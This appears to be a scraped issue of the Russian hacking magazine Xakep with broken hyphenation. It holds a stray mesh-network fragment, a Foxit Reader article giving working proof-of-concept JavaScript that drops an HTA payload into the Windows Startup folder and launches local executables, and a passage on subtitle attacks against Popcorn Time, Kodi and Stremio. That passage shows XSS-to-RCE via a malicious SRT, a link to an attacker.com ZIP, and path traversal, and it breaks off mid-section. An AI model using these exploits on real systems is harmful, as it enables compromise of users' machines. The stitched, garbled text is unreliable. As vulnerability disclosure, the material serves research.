Бес про вод ные mesh‐сети,  воз можно,  одна  из  самых  важ ных  тех нологий  XXI
века.  Хорошо  это  или  пло хо,  но  сов сем  ско ро  наш  мир  будет  под  завяз ку
набит  устрой ства ми,  спо соб ными  переда вать  дан ные  по  воз духу.  Это  не
толь ко  смар тфо ны и план шеты,  это  умные дома,  авто моби ли,  чай ники, мик‐ 
ровол новки,  розет ки  и  мно жес тво  дру гих  вещей,  наличие  бес про вод ных
модулей  в  которых  еще  вче ра  .  Поэто му  mesh‐сети
будут  про дол жать  раз вивать ся,  и  в  будущем  мы  ста нем  мень ше  зависеть
от интерне та.

ка залось  немыс лимым
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ВЫПОЛНЯЕМ ПРОИЗВОЛЬНЫЙ КОД ИЗ PDF
ЧЕРЕЗ УЯЗВИМОСТЬ В FOXIT READER
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ВЗЛОМ

Foxit  Reader  —  популяр ная  прог рамма
для  прос мотра  PDF.  Занима ет  мало,
работа ет быс тро и для мно гих поль зовате‐ 
лей  пол ностью  заменя ет  непово рот ливый
Adobe Acrobat. Одна беда — вот уже четыре
месяца его раз работ чики не могут зак рыть
дыру,  которая  поз воля ет  исполнять  про‐ 
изволь ный  код  из  вре донос ного  PDF. Сей‐ 
час я покажу, что это за дыра и как ее экс‐ 
плу ати ровать.

Об щие све дения
Впер вые  проб лемы  были  обна руже ны  иссле дова теля ми  Сти веном  Сили
(Steven Seeley)  и  Арь еле Каль таби ано  (Ariele Caltabiano). Най дя  уяз вимость,
они  отпра вили  репор ты  вен дору  через  плат форму  Zero  Day  Initiative  (ZDI)
еще  в  мае  это го  года.  Одна ко  раз работ чики  из  Foxit  до  сих  пор  не  внес ли
исправ лений, и, ког да дед лайн в 120 дней истек, детали отче тов были опуб‐ 
ликова ны в бло ге ZDI.

Кра сота  уяз вимос тей  в  их  прос тоте —  это  не  пов режде ние  памяти  и  не
перепол нения, которые обыч но встре чают ся в проп риетар ном ПО. При чиной
проб лем стал встро енный в прос мот рщик PDF‐докумен тов JavaScript API.

Сам  фор мат  PDF  поз воля ет  соз давать  докумен ты  с  динами чес ким  кон‐ 
тентом, и один из вари антов — делать это при помощи JavaScript. Чаще все го
эта  воз можность  при меня ется  в  том  слу чае,  если  содер жимое  докумен та
дол жно менять ся в зависи мос ти от каких‐либо событий, либо для огра ниче‐ 
ния дей ствий поль зовате ля при запол нении форм.

Из началь но    JavaScript  API  была  раз работа на  ком пани ей
Adobe для рас ширения воз можнос тей сво его прос мот рщи ка. Затем под дер‐ 
жка  боль шей  час ти  фун кций  переко чева ла  и  в  сто рон ние  редак торы,  такие
как Foxit Reader.

спе цифи кация

Од нако некото рые осо бен ности реали зации JavaScript API в Foxit вызыва‐ 
ют  воп росы.  Так,  из‐за  некор рек тной  или  отсутс тву ющей филь тра ции  поль‐ 
зователь ских  дан ных  в  фун кци ях  API  ата кующе му  откры вает ся  воз можность
сге нери ровать  такой  PDF,  при  откры тии  которо го  прос мот рщик  выпол нит
про изволь ный код или запишет файл с про изволь ным содер жимым в любое
мес то на дис ке.

Да вай пос мотрим на прак тике, как это мож но про экс плу ати ровать.

Ма тери ал  адpесо ван  спе циалис там  по  безопас‐ 

ности  и  тем,  кто  собираeтся  ими  стать.  Вся

информа ция  пре дос тавле на  исклю читель но

в озна коми тель ных целях. Ни редак ция, ни автор

не  несут  ответс твен ности  за  любой  воз можный

вред, при чинен ный матери ала ми дан ной статьи.

Тес товый стенд
В  качес тве  хос товой ОС  я  буду  исполь зовать Windows  10  х64.  Одна ко  уяз‐ 
вимос ти  плат формо неза виси мы,  так  что  все  опе рации  с  минималь ными
изме нени ями будут успешно работать и на машинах с Linux.

Ра зуме ется,  нам  понадо бит ся  .  На  момент  написа ния  статьи
пос ледняя и по сов мести тель ству уяз вимая вер сия была 8.3.1.21155. Вер сии
до нее тоже уяз вимы.

Foxit Reader

Уяз вимая вер сия Foxit Reader

Для отладки я буду исполь зовать Immunity Debugger, а для дизас сем бли рова‐ 
ния — IDA 6.6 Pro. Но это мой лич ный выбор, ты можешь взять любые инс тру‐ 
мен ты, к которым лежит сер дце.

Так же  нам  нуж но  чем‐то  генери ровать  PDF.  Для  этих  целей  я  прих ватил
питонов скую ути литу   про изводс тва  .make‐pdf Didier Stevens Labs

Сра зу  ого ворюсь,  что  в  Foxit  Reader  исполь зует ся  режим  безопас ного
прос мотра (Safe Reading). Он соз дан как раз для пре дот вра щения подоб ного
типа атак и вклю чен по умол чанию пос ле уста нов ки.

Safe Reading по дефол ту вклю чен пос ле уста нов ки

Од нако при откры тии фай ла, который содер жит JavaScript, прог рамма спро‐ 
сит, отклю чить ли режим безопас ного прос мотра докумен та.

Поч ти безобид ное окно с зап росом на отклю чение режима безопас ного
прос мотра докумен тов

Как  по  мне,  так  это  окно  не  вну шает  осо бого  стра ха  поль зовате лю  и  не
доносит всей опас ности вык лючения режима Safe Reading. К тому же галоч ки
услужли во уста нов лены в нуж ные ата кующе му позиции. Если нажать на OK, то
безопас ный  прос мотр  отклю чит ся  не  толь ко  для  текущей  сес сии,  но  и  гло‐ 
баль но, для всех пос леду ющих запус ков при ложе ния.

Ну и конеч но, ник то не отме нял соци аль ную инже нерию. ;)

За пись фай лов с про изволь ным содер жимым
Пер вый баг заб рался в API‐фун кцию  . Леген да гла сит, что эта фун кция
поз воля ет  сох ранять  в  ука зан ное  мес то  текущий  документ  в  фор мате  PDF.
На  деле же  не  про веря ется  ни  путь,  по  которо му  сох раня ется файл,  ни  его
рас ширение. Фор мат вызова фун кции такой:

saveAs

this.saveAs(path);

Вот  как  выг лядит  дизас сем бли рован ный  кусок  кода,  который  выпол няет
запись фай ла.

Часть фун кции saveAs, записы вающей дан ные в файл

Поп робу ем  записать  файл  в  ту  же  дирек торию,  в  которой  находит ся  файл.
Для это го соз дадим новый PDF со сле дующим кодом на JavaScript:

this.saveAs("exploit.exe");

Сох раня ем  этот  код  в  отдель ный  файл  saveas‐poc.js  и  генери руем  PDF
с помощью make‐pdf.

python27 make‐pdf‐JavaScript.py ‐f saveas‐poc.js saveas‐poc.pdf

За тем откры ваем получив ший ся файл.

Си туация пос ле запус ка PoC для фун кции saveAs

Как ты можешь видеть, пос ле запус ка   Foxit Reader сох раня ет
этот документ с новым наз вани ем   и выводит на экран уже его.

saveas‐poc.pdf

exploit.exe

Как мож но про экс плу ати ровать это, что бы получить какой‐нибудь про фит?
API пре дос тавля ет обширный плац дарм для экспе римен тов. Нап ример, мож‐ 
но сох ранить файл в пап ку авто заг рузки. Исполь зуем UNIX‐подоб ные пути:

/c/Users/<username>/AppData/Roaming/Microsoft/Windows/STARTM~1/

Programs/Startup/

А  что бы  узнать  текуще го  поль зовате ля,  от  которо го  выпол няет ся  откры тие
докумен та,  мож но  исполь зовать  замеча тель ную  перемен ную 

. Очень удоб но. :)
identity.

loginName

Ва лид ный .exe таким методом, разуме ется, не сфор мировать. Но это и не
тре бует ся, потому что мож но исполь зовать HTML Application  (HTA). В недав‐ 
ней    я  уже  рас ска зывал
про  него.  В  двух  сло вах:  это  обыч ный  HTML  с  при виле гиями,  которые  поз‐ 
воля ют выпол нять VBScript. А это, как ты понима ешь, пря мой путь к RCE. Вот
кусок кода, который запус тит каль кулятор:

статье  про  уяз вимость  в  про дук тах  Microsoft  Office

Set shell = CreateObject("Wscript.Shell")

shell.Run "calc.exe"

Те перь нуж но записать это в скрипт на JS и сге нери ровать новый PDF с наг‐ 
рузкой.

saveas-poc.js
1: /*

2: <script language="VBScript">

3:  Set shell = CreateObject("Wscript.Shell")

4:  shell.Run "calc.exe"

5: </script>

6: */

7: this.saveAs("/c/Users/"+identity.loginName+"/AppData/Roaming/

Microsoft/Windows/STARTM~1/Programs/Startup/exploit.hta");

Ус пешная экс плу ата ция фун кции saveAs

Пос ле перезаг рузки наша полез ная наг рузка отра бота ет, и ты уви дишь каль‐ 
кулятор, как на скрин шоте выше.

От ладка Foxit Reader в момент записи фай ла через метод saveAs()

Для Linux‐машин таким же обра зом мож но писать пей лоад, нап ример в файл
.~/.bashrc

Здесь все, теперь перехо дим к более инте рес ной фун кции.

Вы пол нение про изволь ного кода
Фун кция  с  говоря щим  наз вани ем    куда  более  эффектив на
с точ ки зре ния воз можно го импакта. Она соз дана для того, что бы откры вать
в  окне  бра узе ра  передан ный  в  парамет рах  URL.  Толь ко  вот  раз работ чики
по‐сво ему  поняли URL  и  не  добави ли  никакой  валида ции.  Бла года ря  это му
воз можно  исполь зовать  локаль ные  пути  и,  как  следс твие,  запус кать  любые
при ложе ния.

app.launchURL

Уяз вимость  обна ружил  Арь еле  Каль таби ано  (Ariele  Caltabiano)  и  немало
повесе лил ся,  так как   он находил в Adobe Reader
аж  в  2015  году.  Годом  поз же  она  была  успешно  запат чена,  а  вот  ребятам
из Foxit еще пред сто ит это сде лать.

точ но такую же уяз вимость

Итак, про цеду ра выпол нения фун кции закан чива ется вот  таким чудес ным
кодом.

Ди зас сем бли рован ный кусок кода фун кции app.launchURL

Та ким  обра зом,    не  толь ко  не  про веря ет  отправ ленные  ей
дан ные, но и переда ет пол ный путь в   с аргу мен том  .

app.launchURL

ShellExecuteW open

Все, что тре бует ся от ата кующе го, в роли которо го в дан ный момент выс‐ 
тупа ем  мы  с  тобой,  —  это  сфор мировать  документ  с  одной‐единс твен ной
строч кой на JS:

launchurl-poc.js
1: app.launchURL("C://WINDOWS//system32//mspaint.exe");

Здо рово,  не  прав да  ли?  :)  Генери руем  PDF  по  уже  зна комо му  нам  рецеп ту
и откры ваем получив ший ся файл.

От ладка фун кции app.launchURL. Перед самым запус ком при ложе ния

Са мое инте рес ное: если ты попыта ешь ся исполь зовать эту фун кцию по пря‐ 
мому  наз начению,  а  имен но  открыть  какой‐то  сайт,  Foxit  Reader  руг нется
на то, что документ пыта ется отпра вить тебя в небезо пас ные края.

Пре дуп режде ние о перехо де в незащи щен ную область при легитим ном
исполь зовании app.launchURL

Я  думаю,  не  сто ит  объ яснять,  как  мож но  исполь зовать  уяз вимость  такого
типа. Прос тор для твор чес тва тут прос то огромный.

Ус пешная экс плу ата ция фун кции app.launchURL

Де монс тра ция экс плу ата ции уяз вимос ти (видео)

https://vimeo.com/230900728

Зак лючение
Вот мы  и  пос мотре ли  на  две  уяз вимос ти,  которые  при  кажущей ся  прос тоте
очень опас ны для поль зовате ля и поз воля ют пол ностью ском про мети ровать
его сис тему.

Хо чу добавить, что раз работ чики Foxit не собира лись пат чить эти баги. Они
счи тают, что вклю чен ный по умол чанию режим Safe Reading — это панацея,
и рекомен дуют исполь зовать его, что бы избе жать подоб ных проб лем. Одна ко
пос ле  пуб ликации  этих  отче тов  в  бло ге  ZDI  ребята  зашеве лились  и  обе‐ 
щали‐таки выпус тить патч.

А пока, если ты поль зуешь ся Foxit Reader, могу посове товать не откры вать
подоз ритель ные фай лы, не сог лашать ся на отклю чение режима безопас ного
прос мотра докумен тов или вооб ще пока что вырубить исполне ние скрип тов
от гре ха подаль ше.

Нас трой ка, отве чающая за выпол нение JavaScript в докумен тах

http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf
https://www.foxitsoftware.com/downloads/thanks.php?product=Foxit-Reader&platform=Windows&version=8.3.1.21155&package_type=exe&language=Russian
http://didierstevens.com/files/software/make-pdf_V0_1_7.zip
https://blog.didierstevens.com/programs/pdf-tools/
https://xakep.ru/2017/06/06/exploits-ms-word-rce-2007-2016-218/
http://www.zerodayinitiative.com/advisories/ZDI-16-285/
https://vimeo.com/230900728
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информационной
безопасности, Check Point

ВЗЛОМ

В мае это го  года иссле дова тели Check Point Software Tech‐
nologies обна ружи ли совер шенно новый век тор атак — 

. Зло умыш ленни ки могут исполь зовать фай лы
суб титров для получе ния кон тро ля над компь юте рами поль‐ 
зовате лей,  при  этом  избе гая  обна руже ния. Мы  рас ска жем,
как им это уда лось (обя затель но запасись тер пени ем, пивом
и  чип сами —  статья  выш ла  аж  на  восемь  стра ниц  ста рого
бумаж ного «Хакера». :) — Прим. ред.).

ата ки
через суб титры

ЧТО МЫ ЗНАЕМ

Этот  век тор  атак  воз можен  из‐за  уяз вимос тей,  обна ружен ных  в  популяр ных
стри мин говых  плат формах,  вклю чая 

.  Перед  зло умыш ленни ком  он  откры вает  без гра нич ные  воз‐ 
можнос ти:  кра жу  кон фиден циаль ной  информа ции,  уста нов ку  прог‐ 
рамм‐вымога телей, мас совые DDoS‐ата ки и мно гое дру гое.

VLC,  Kodi  (XBMC),  Popcorn  Time

и  strem.io

К  счастью,  эти  уяз вимос ти  были  устра нены  очень  быс тро  пос ле  пуб‐ 
ликации пер вых матери алов,  поэто му  теперь мы можем рас ска зать о  проб‐ 
леме во всех под робнос тях.

POPCORN TIME

Соз данная все го за нес коль ко недель как про ект open source муль тип латфор‐ 
ма  «Netflix  для  пиратов»  ока залась  гре мучей  смесью  из  BitTorrent‐кли ента,
меди апле ера  и  бес конеч ных  воз можнос тей  скрей пин га  (сбо ра  дан ных
при помощи скрип тов),  объ еди нен ных очень прив лекатель ным  гра фичес ким
интерфей сом.

Popcorn Time GUI

Хо тя  прог рамма  ста ла  очень  популяр на  бла года ря  прос тоте  исполь зования
и  хорошей  кол лекции  виде офиль мов,  раз работ чики  неожи дан но  зак рыли
про ект из‐за дав ления со сто роны 

.
Аме рикан ской ассо циации киноком паний

(MPAA)
Пос ле  это го  раз ные  ини циатив ные  груп пы  соз дали  фор ки  Popcorn  Time

для  под дер жки  прог раммы  и  раз работ ки  новых  фун кций.  Соз датели  ори‐ 
гиналь ного Popcorn Time под держа ли вер сию popcorntime.io (поз днее — pop‐
corntime.sh) как пре емни ка сво его зак рытого про екта.

Ин терфейс  на  осно ве  WebKit  содер жит  гору  информа ции  о  филь мах
и метадан ные. Здесь есть трей леры, крат кое содер жание сюжета, информа‐ 
ция об акте рах, фотог рафии обло жек, рей тин ги IMDb и мно гое дру гое.

Суб титры в Popcorn Time

Что бы еще боль ше облегчить жизнь поль зовате ля, суб титры к филь мам под‐ 
гру жают ся авто мати чес ки. Мож но ли исполь зовать это в сво их целях?  (Под‐ 
сказ ка: да.)

Без  ведома  поль зовате ля  Popcorn  Time  получа ет  суб титры  с  единс твен‐ 
ного  пос тавщи ка  —  .  Более  четырех  мил лионов  суб титров
и   дела ют этот репози торий супер популяр ным. В нем есть
алго ритм  выдачи  рекомен даций,  помога ющий  поль зовате лю  выб рать  файл
для кон крет ного филь ма и релиза.

OpenSubtitles
очень удоб ный API

По вер хность ата ки

Как  упо мина лось, Popcorn  Time работа ет  на движ ке WebKit,  а  имен но NW.js.
Ранее  извес тная  как  node‐webkit,  плат форма  NW.js  поз воля ет  раз работ чику
исполь зовать веб‐тех нологии — нап ример, HTML5, CSS3 и WebGL — в сво их
род ных при ложе ниях. Более того, обра щать ся к API Node.js и модулям треть‐ 
их сто рон мож но нап рямую из DOM.

В  сущ ности,  при ложе ние  NW.js  —  это  веб‐стра ница  с  про изволь ным
содер жимым, написан ная на JavaScript или HTML и офор млен ная с помощью
CSS. Как вся кая веб‐стра ница, при ложе ние может под вергать ся XSS‐ата кам.
В  дан ном  слу чае  из‐за  того,  что  прог рамма  работа ет  на  Node.js,  XSS  поз‐ 
воля ет  исполь зовать  воз можнос ти  сер верной  час ти.  Ины ми  сло вами,  зап‐ 
росы XSS в реаль нос ти ста новят ся  зап росами RCE  (на выпол нение  уда лен‐ 
ного кода).

На старт, вни мание, марш!

На ше  прик лючение  начина ется,  как  толь ко  поль зователь  вклю чает  вос про‐ 
изве дение филь ма. Popcorn Time дела ет зап рос через упо мяну тый API и ска‐ 
чива ет  рекомен дован ные  суб титры  (мы  опи шем  этот  про цесс  в  деталях
ниже). Затем Popcorn Time пыта ется переко диро вать получен ный файл в фор‐ 
мат SRT.

/src/app/vendor/videojshooks.js

Пос ле  переко диро вок  и  пар синга  соз данный  эле мент  (суб титр)  прик репля‐ 
ется к экра ну в нуж ный момент, опи раясь на мас сив «под ска зок».

Фун кция updateDisplay

Это  дает  нам  воз можность  добавить  к  отоб ража емо му  виду  любой  HTML‐
объ ект. Оче вид но, что пол ный кон троль над каким‐либо HTML‐эле мен том —
это  уже  опас но.  Одна ко,  ког да  мы  име ем  дело  с  при ложе ниями  на  осно ве
узлов (node‐based), важ но понимать, что XSS равен RCE. Сис темные коман ды
лег ко  запус кают ся  через  модули  типа  .  Как  толь ко  наш  неп‐ 
роверен ный JavaScript заг ружа ется на экран, до запус ка вре донос ного кода
оста ется все го лишь нес коль ко строк.

child_process

Обыч ный SRT‐файл выг лядит при мер но так:

1

00:00:01,000 –> 00:00:05,000

Hello World

Вмес то тек ста Hello World мы можем исполь зовать HTML‐тег изоб ражения.
Мы  пыта емся  заг рузить  несущес тву ющее  изоб ражение  с  атри бутом

событий  ,  который  поз воля ет  задать  сра баты вание  скрип та  при  воз‐ 
никно вении ошиб ки во вре мя заг рузки внеш него фай ла.

onerror

malicious.srt — при мер

Мы  исполь зуем фун кцию  JavaScript,  свя зан ную  с  атри бутом  ,  что бы
уда лить ком про мети рующий нас зна чок отсутс тву юще го изоб ражения и прик‐ 
репить к стра нице нашу вре донос ную уда лен ную полез ную наг рузку (payload).
Само собой, наш скрипт evil.js все го лишь запус тит окно стан дар тно го каль‐ 
кулято ра calc.exe.

onerror

evil.js (Command execution)

OPENSUBTITLES

Итак, мы можем исполнять код на Popcorn Time. Уяз вимос ти на сто роне кли‐ 
ента  цен ны,  но  их  экс плу ата ция,  как  пра вило,  тре бует  какого‐либо  вза имо‐ 
дей ствия  поль зовате ля  с  сис темой  —  он  дол жен  клик нуть  на  ссыл ку,  про‐ 
читать PDF‐файл или зай ти на взло ман ный сайт. В слу чае с суб титра ми поль‐ 
зователь дол жен  заг рузить  вре донос ный файл. Мож но  ли  как‐то про пус тить
этот шаг?

Мы зна ем, что юзе ры бес печно ска чива ют суб титры из откры тых источни‐ 
ков  в  интерне те  и  счи тают  их  безобид ными  тек сто выми  фай лами.  Более
четырех мил лионов фай лов и око ло пяти мил лионов ежед невных ска чива ний
дела ют  OpenSubtitles  круп ней шим  онлайн‐хра нили щем  суб титров.  Их  мно‐ 
гофун кци ональ ный  API  так же  час то  интегри рует ся  во  мно гие  дру гие  виде‐ 
опле еры.  Они  даже  пред лага ют  воз можность  «умно го»  поис ка:  эта  цеп ная
фун кция  выбира ет  наибо лее  под ходящие  суб титры  по  вве ден ной  информа‐ 
ции.

Воз ника ет  воп рос:  мож но  ли  вме шать ся  в  этот  API  и  сде лать  так,  что бы
вза имо дей ство вать  с  поль зовате лем  не  было  необ ходимос ти  и  из  базы
OpenSubtitles авто мати чес ки заг ружались имен но вре донос ные суб титры?

Как работа ет API

Ког да поль зователь запус кает вос про изве дение филь ма, сис тема авто мати‐ 
чес ки отправ ляет  зап рос на поиск  суб титров SearchSubtitles — XML,  содер‐ 
жащий все объ екты суб титра, соот ветс тву ющие нашим кри тери ям (IMDb ID).

Зап рос API SearchSubtitles

От вет API SearchSubtitles

Здесь параметр поис ка обоз начен как  . Ответ на зап рос содер жит все
суб титры с дан ным  .

imdbid

imdbid

А теперь самое инте рес ное. В API име ется алго ритм, который ран жиру ет
суб титры по их наз ванию, IMDb ID, рей тин гу заг рузчи ка и дру гим парамет рам.
Прос мотрев докумен тацию, мы обна ружи ли схе му такого ран жирова ния.

До кумен тация метода ран жирова ния API

Здесь вид но, сколь ко бал лов добав ляет ся к рей тин гу суб титров на осно ве их
соот ветс твия сле дующим кри тери ям: мет ка, IMDb ID, поль зователь‐заг рузчик
и так далее. Пред положим, что мы как ано ним ные поль зовате ли (user | anon)
заг рузили наши вре донос ные суб титры в базу OpenSubtitles — нашему фай лу
прис воят все го пять бал лов. Вот что мы узна ли: недос таточ но толь ко читать
докумен тацию, пос коль ку исходный код про явля ется в недоку мен тирован ном
поведе нии.

Ал горитм ран жирова ния OpenSubtitles API

Зап рос,  отправ ленный Popcorn  Time,  зада ет  толь ко  один  параметр —  IMDb
ID, это озна чает,  что  усло вие    («мет ка»)  всег да будет
иметь логичес кое зна чение «ложь». Это вызовет фун кцию  .

MatchedBy === 'tag'

matchTags()

Фун кция matchTags

Фун кция  matchTags  раз бива ет  наз вание  филь ма  и  суб титров  на  отдель ные
мет ки.  Мет ка  (тег) —  это,  как  пра вило,  отдель ное  сло во  или  циф ра,  обна‐ 
ружен ное в наз вании фай ла. Они обыч но раз деля ются точ ками (.) и дефиса‐ 
ми  (‐).  Чис ло  общих меток  в  наз вании фай ла  с филь мом  и  наз вании фай ла
суб титров затем делит ся на чис ло меток филь ма и умно жает ся на показа тель
maxScore,  рав ный  семи.  Такое  зна чение  maxScore  прис ваивает ся  в  слу чае
пол ного  соот ветс твия  меж ду  дву мя  име нами  фай лов.  Нап ример,  если  наз‐ 
вание  фай ла  с  филь мом  Trolls.2016.BDRip.x264‐[YTS.AG].mp4,  у  него  будут
сле дующие мет ки:

[Trolls, 2016, BDRip, x264, YTS, AG, mp4]

Пос коль ку  наз вание  фай ла  с  филь мом,  который  ска чива ется  при ложе нием
(нап ример, Popcorn  Time),  узнать  дос таточ но  лег ко  (c  помощью сниф фера),
мы можем прис воить нашему фай лу с суб титра ми  точ но  такое же наз вание,
но с рас ширени ем srt. Это уве личит рей тинг фай ла суб титров на целых семь
(!) бал лов.

Продолжение статьи →

https://xakep.ru/2017/05/24/malicious-subtitles/
https://torrentfreak.com/hollywood-tries-crush-popcorn-time-141219/
https://www.opensubtitles.org/
http://trac.opensubtitles.org/projects/opensubtitles
https://nodejs.org/api/child_process.html
https://www.w3schools.com/jsref/event_onerror.asp
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Крат кий итог

Сло жив все вмес те, мы можем с уве рен ностью зарабо тать две над цать бал‐ 
лов.  Для  соот ветс твия  IMDb  ID  делать  ничего  не  нуж но  (плюс  пять  бал лов),
а что бы узнать наз вание кон крет ного релиза на тор рент‐тре кере и на сай те
Popcorn  Time,  дос таточ но  запус тить  ана лиза тор  пакетов.  Теперь  мож но
добить ся пол ного соот ветс твия вре донос ных суб титров зап росу (плюс семь).

Это дос таточ но хороший рей тинг, но мы по‐преж нему не удов летво рены.
Вот  рекомен дуемые  рей тин ги  суб титров  для  некото рых  самых  популяр ных
филь мов,  дос тупных  онлайн:  Snowden  («Сно уден»), Deadpool  («Дэд пул»),  In‐
ception («Начало»), Rogue One: A Star Wars Story («Изгой‐один. Звез дные вой‐ 
ны: Исто рии») и Frozen («Холод ное сер дце»).

На  гра фиках  показа ны  рей тин ги  для  семи  самых  популяр ных  язы ков  мира,
а так же сред нее и наивыс шее зна чения этих рей тин гов. Про лис тав нес коль ко
популяр ных  фай лов  суб титров,  мы  замети ли,  что  наивыс ший  балл,  который
может быть им прис воен, равен четыр надца ти, тог да как сред ний сос тавля ет
око ло десяти.

Еще  раз  изу чив  сис тему  оцен ки,  мы  поняли,  что  можем  доволь но  лег ко
под нять свой рей тинг.

Кри терии ран жирова ния поль зовате ля

Ока зыва ется,  что  для  получе ния  ста туса  «золото го»  заг рузчи ка  дос таточ но
добавить в базу 101 файл суб титров.

Мы зарегис три рова лись на сай те OpenSubtitles, а четыре минуты и сорок
строк кода Python спус тя ста ли «золоты ми» поль зовате лями.

Наш новый ранг поль зовате ля

Мы  написа ли  неболь шой  скрипт,  что бы  уви деть  все  дос тупные  суб титры
для нашего филь ма. На сле дующей кар тинке можешь полюбо вать ся: у наших
суб титров был самый высокий рей тинг — пят надцать!

Наш злов редный суб титр с ран гом номер один

Это озна чает, что, какой бы фильм ни выб рал поль зователь, мы можем зас‐ 
тавить  меди апле ер  заг рузить  имен но  наш  вре донос ный файл  с  суб титра ми
и через него про ник нуть в компь ютер.

KODI

Kodi  (ранее  XBMC)  —  опен сор сный  кросс‐плат формен ный  меди апле ер
и  центр  раз вле чений. Он  дос тупен  на  всех  основных  плат формах  (Windows,
Linux, Mac, iOS и Android), переве ден на 72 язы ка, у него более 40 мил лионов
поль зовате лей —  пожалуй,  это  самое  рас простра нен ное  ПО  для  про игры‐ 
вания муль тимеди акон тента на сегод няшний день. Kodi  так же час то исполь‐ 
зует ся на Smart TV и Raspberry Pi, что дела ет его осо бен но прив лекатель ным
с точ ки зре ния кибер прес тупни ков.

Суб титры в Kodi

Как и в слу чае мно гих дру гих фун кций, суб титры в Kodi управля ются пла гина‐ 
ми на Python. Наибо лее час то исполь зуемый пла гин для суб титров — Open‐
Subtitles. Пос коль ку мы уже зна комы с их API, обра тим ся сра зу к про цес су заг‐ 
рузки суб титров.

По иско вые фун кции

Фун кция    воз вра щает  спи сок  суб титров  из  базы  Open‐
Subtitles вмес те с их метадан ными. Эти суб титры переби рают ся при помощи
цик ла for (цикл с парамет ром) и заг ружа ются в гра фичес кий интерфейс поль‐ 
зовате ля с помощью коман ды  .

searchsubtitles()

addDirectoryItem()

Ме ню суб титров (индо незий ские суб титры филь ма «Сно уден»)

Стро ка, отсы лаемая в  , име ет сле дующий вид:addDirectoryItem()

plugin://%s/?action=download&link=%s&ID=%s&filename=%s&format=%s

Пос коль ку OpenSubtitles — это самый что ни на есть откры тый источник, хакер
может управлять парамет ром   (имя фай ла), получен ным в виде зна‐ 
чения  .

filename
SubFileName

От вет API

Ког да этот параметр (наз вание фай ла) находит ся под пол ным кон тро лем зло‐ 
умыш ленни ка,  он  так же  может  переза писать  пре дыду щие  парамет ры 
(ссыл ка)  и  ,  заг рузив  файл  с  наз вани ем 

.

link
ID Subtitles.srt&link=<con‐

trolled>&ID=<controlled>
Стро ка будет иметь сле дующий вид:

plugin://%s/?action=download&link=%s&ID=%s&filename=Subtitles.srt&
link=<controlled>&ID=<controlled>&format=%s

Та кое  переза писы вание  воз можно  бла года ря  исполь зованию  базовой фун‐ 
кции   при син такси чес ком ана лизе стро ки.split

Оба этих исправ ленных парамет ра  кри тичес ки необ ходимы для фун кции,
которая сра баты вает пос ле того, как поль зователь выберет один из пун ктов
в меню суб титров. Нажатие на пункт запус кает фун кцию  .Download()

Фун кция заг рузки

Кон троль всех переда ваемых парамет ров фун кции дает воз можность манипу‐ 
лиро вать  ее  работой.  Пре дос тавив  недопус тимый  иден тифика тор  ID  (нап‐ 
ример, ‐1), мы перей дем на вет ку  . Эта вет ка алго рит ма поз‐ 
воля ет ска чивать «сырые» архи вы в слу чаях, ког да API OpenSubtitles не может
извлечь необ ходимый файл. Имея в сво ем рас поряже нии параметр  , мы
можем  зас тавить  фун кцию  ска чать  любой  архив  по  нашему  желанию  (нап‐ 
ример,  ).

if not result

url

http://attacker.com/evil.zip
Ска чива ние про изволь ного ZIP‐архи ва из интерне та уже чре вато неп рият‐ 

ными  пос ледс тви ями.  Сочета ние  такого  поведе ния  с  дру гой  уяз вимостью,
обна ружен ной  во  встро енном  рас паков щике  дан ных  Kodi,  дела ет  эти  пос‐ 
ледс твия фаталь ными.

Про веряя работу фун кции  , мы замети ли, что она пос‐ 
ледова тель но свя зыва ет параметр    (конеч ный путь для извле каемых
дан ных) с парамет ром   (путь к фай лу внут ри архи ва, получен ный
ите рато ром).

ExtractArchive()
strPath

strFilePath

Фун кция ExtractArchive()

Соз дание  ZIP‐архи ва,  содер жащего  пап ки  с  име нами  «..»,  поз волило  нам
рекур сивно  кон тро лиро вать  конеч ный  путь  для  извле каемых  дан ных  (CVE‐
2017‐8314). Исполь зуя воз можность такого обхо да катало га, мы переза писа‐ 
ли собс твен ный пла гин Kodi для суб титров.

Струк тура злов редно го ZIP‐фай ла

Пе реза пись это го пла гина озна чает, что Kodi будет запус кать наш файл. Наш
вре донос ный  код  на  Python  может  быть  точ ным  дуб ликатом  ори гиналь ного
пла гина с добав лени ем любого жела емо го вре донос ного поведе ния.

STREMIO

По явле ние  Popcorn  Time  озна мено вало  начало  эры  раз вития  при ложе ний
для дос тавки потоко вого кон тента, но, ког да про ект вне зап но зак рылся из‐за
угроз  со  сто роны  Аме рикан ской  ассо циации  киноком паний,  поль зовате лям
приш лось  искать  аль тер нативы.  Одной  из  них  стал  Stremio,  агре гатор  кон‐ 
тента с час тично откры тым кодом. Как и Popcorn Time, его соз давали с целью
обес печить прос тоту исполь зования. У этих прог рамм похожий поль зователь‐ 
ский интерфейс. С точ ки зре ния внут ренне го устрой ства Stremio тоже похож
на Popcorn Time. Самое важ ное для нас зак люча ется в том, что это при ложе‐ 
ние  работа ет  на  движ ке  WebKit  и  исполь зует  opensubtitles.org  в  качес тве
источни ка суб титров.

Strem.io тоже добав ляет кон тент суб титров к интерфей су WebKit, поэто му
мы  пред положи ли,  что  здесь  тоже  мож но  будет  исполь зовать  XSS.  Одна ко
тех нология, которая подош ла к Popcorn Time, в этом слу чае не сра бота ла.

Stremio с нерабо тающей кар тинкой в суб титрах

Мы  видим  зна чок  отсутс тву юще го  изоб ражения  вни зу  стра ницы,  но  код
исполнен  не  был.  Оче вид но,  что  наш  JavaScript  был  под чищен.  Приш лось
коп нуть нем ного глуб же.

Код Stremio хра нит ся в виде фай ла  . Это прос той фор мат типа TAR,
который  пос ледова тель но  соеди няет  все  фай лы  вмес те  без  сжа тия.  Пос ле
извле чения  и  упо рядо чива ния  исходно го  кода  мы  поняли,  что  любой  текст,
помеща емый  на  экран,  про гоня ется  через  сер вис  .
Это  средс тво  очис тки  кода  про изво дит  син такси чес кий  ана лиз  HTML
и оставля ет  нет ронутой  толь ко безопас ную раз метку и  атри буты из  «белого
спис ка». Все скрип товые выраже ния и опас ные атри буты уда ляют ся из стро‐ 
ки.  Необ ходимость  при мене ния  толь ко  ста тич ных  тегов  HTML  без  скрип тов
силь но  огра ничи ла  наши  воз можнос ти. Приш лось  най ти  более  изощ ренное
решение.

ASAR

Angular‐Sanitize

Ес ли  ты  ког да‐нибудь  поль зовал ся  Stremio,  то  навер няка  видел  всплы‐ 
вающее окно‐бан нер с над писью: «Под держи те нас».

Ок но «Под держи те нас» в Stremio

